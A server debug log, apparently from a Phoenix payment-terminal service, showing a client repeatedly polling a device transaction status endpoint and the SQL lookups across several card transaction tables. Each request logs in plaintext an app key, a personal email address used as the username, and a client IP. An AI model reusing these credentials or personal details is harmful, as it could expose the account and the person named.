SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:20:51.641000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57080] QUERY OK source="pos_temp_transaction" db=1.6ms queue=0.1ms idle=1090.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:20:51.645000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57080] QUERY OK source="pos_failed_transaction" db=3.3ms idle=703.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:20:51.645000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57080] QUERY OK source="cloud_transaction" db=0.5ms idle=707.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:20:51.646000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57080] Sent 200 in 21ms
[Thu Sep  3 10:20:56.728000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57094] POST /api/device/status
[Thu Sep  3 10:20:56.728000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57094] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:20:56.729000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57094] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:20:56.729000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57094] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:20:56.743000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57094] QUERY OK source="pos_transaction" db=13.6ms idle=1791.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:20:56.744000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57094] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1805.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:20:56.748000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57094] QUERY OK source="pos_failed_transaction" db=3.4ms queue=0.1ms idle=1806.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:20:56.749000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57094] QUERY OK source="cloud_transaction" db=1.0ms idle=1810.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:20:56.750000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57094] Sent 200 in 21ms
[Thu Sep  3 10:21:01.845000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52580] POST /api/device/status
[Thu Sep  3 10:21:01.845000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:52580] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:01.846000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52580] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:01.846000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52580] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:01.868000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52580] QUERY OK source="pos_transaction" db=21.8ms idle=1905.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:01.872000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52580] QUERY OK source="pos_temp_transaction" db=3.2ms idle=1928.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:01.877000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52580] QUERY OK source="pos_failed_transaction" db=3.7ms queue=0.1ms idle=1931.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:01.878000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52580] QUERY OK source="cloud_transaction" db=0.6ms queue=0.1ms idle=1934.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:01.878000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52580] Sent 200 in 33ms
[Thu Sep  3 10:21:06.884000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52584] POST /api/device/status
[Thu Sep  3 10:21:06.885000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:52584] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:06.885000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52584] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:06.885000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:52584] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:06.907000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52584] QUERY OK source="pos_transaction" db=20.3ms idle=1943.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:06.910000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52584] QUERY OK source="pos_temp_transaction" db=1.9ms idle=1964.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:06.919000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52584] QUERY OK source="pos_failed_transaction" db=6.8ms idle=1968.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:06.922000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:52584] QUERY OK source="cloud_transaction" db=0.8ms queue=1.5ms idle=1976.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:21:06.923000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:52584] Sent 200 in 37ms
[Thu Sep  3 10:21:11.862000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46730] POST /api/device/status
[Thu Sep  3 10:21:11.862000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46730] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:21:11.862000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46730] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch447229914786", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:21:11.863000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46730] Transaction reference number: "ch447229914786"
[Thu Sep  3 10:21:11.876000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46730] QUERY OK source="pos_transaction" db=13.1ms idle=1920.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:21:11.877000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46730] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1931.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:21:11.880000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46730] QUERY OK source="pos_failed_transaction" db=3.0ms idle=1932.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch447229914786"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:21:11.883000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46730] QUERY OK source="cloud_transaction" db=1.8ms idle=1935.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch447229914786"]
